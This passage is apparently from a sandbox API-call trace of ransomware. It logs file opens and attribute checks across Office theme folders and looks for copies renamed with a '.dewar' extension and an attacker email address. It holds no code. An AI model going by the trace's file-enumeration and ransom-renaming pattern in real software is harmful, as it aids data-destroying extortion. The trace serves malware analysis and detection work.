Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.244] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=29925) returned 1 [0240.244] CloseHandle (hObject=0x200) returned 1 [0240.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0240.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0240.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.246] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=47684) returned 1 [0240.246] CloseHandle (hObject=0x200) returned 1 [0240.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm")) returned 0x20 [0240.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm")) returned 0x20 [0240.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.248] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=610) returned 1 [0240.248] CloseHandle (hObject=0x200) returned 1 [0240.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf")) returned 0x20 [0240.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf")) returned 0x20 [0240.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.250] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1363) returned 1 [0240.251] CloseHandle (hObject=0x200) returned 1 [0240.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0240.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0240.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.251] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.253] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=20371) returned 1 [0240.253] CloseHandle (hObject=0x200) returned 1 [0240.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0240.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0240.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.266] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=54803) returned 1 [0240.266] CloseHandle (hObject=0x200) returned 1 [0240.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm")) returned 0x20 [0240.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm")) returned 0x20 [0240.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.267] SetEvent (hEvent=0x118) returned 1 [0240.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.268] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=486) returned 1 [0240.268] CloseHandle (hObject=0x200) returned 1 [0240.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf")) returned 0x20 [0240.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf")) returned 0x20 [0240.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.270] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1293) returned 1 [0240.270] CloseHandle (hObject=0x200) returned 1 [0240.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0240.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0240.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.272] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=20575) returned 1 [0240.272] CloseHandle (hObject=0x200) returned 1 [0240.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0240.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0240.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.294] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=45528) returned 1 [0240.295] CloseHandle (hObject=0x200) returned 1 [0240.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm")) returned 0x20 [0240.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm")) returned 0x20 [0240.296] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.296] SetEvent (hEvent=0x118) returned 1 [0240.297] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.299] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=480) returned 1 [0240.299] CloseHandle (hObject=0x200) returned 1 [0240.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf")) returned 0x20 [0240.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf")) returned 0x20 [0240.300] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.300] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.301] SetEvent (hEvent=0x118) returned 1 [0240.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.302] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1287) returned 1 [0240.302] CloseHandle (hObject=0x200) returned 1 [0240.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0240.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0240.302] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.303] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.304] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=28595) returned 1 [0240.304] CloseHandle (hObject=0x200) returned 1 [0240.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0240.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0240.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.496] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=71388) returned 1 [0240.496] CloseHandle (hObject=0x200) returned 1 [0240.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm")) returned 0x20 [0240.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm")) returned 0x20 [0240.496] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.497] SetEvent (hEvent=0x118) returned 1 [0240.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.499] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3957) returned 1 [0240.499] CloseHandle (hObject=0x200) returned 1 [0240.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0240.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0240.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0240.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0240.504] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=33277) returned 1 [0240.504] CloseHandle 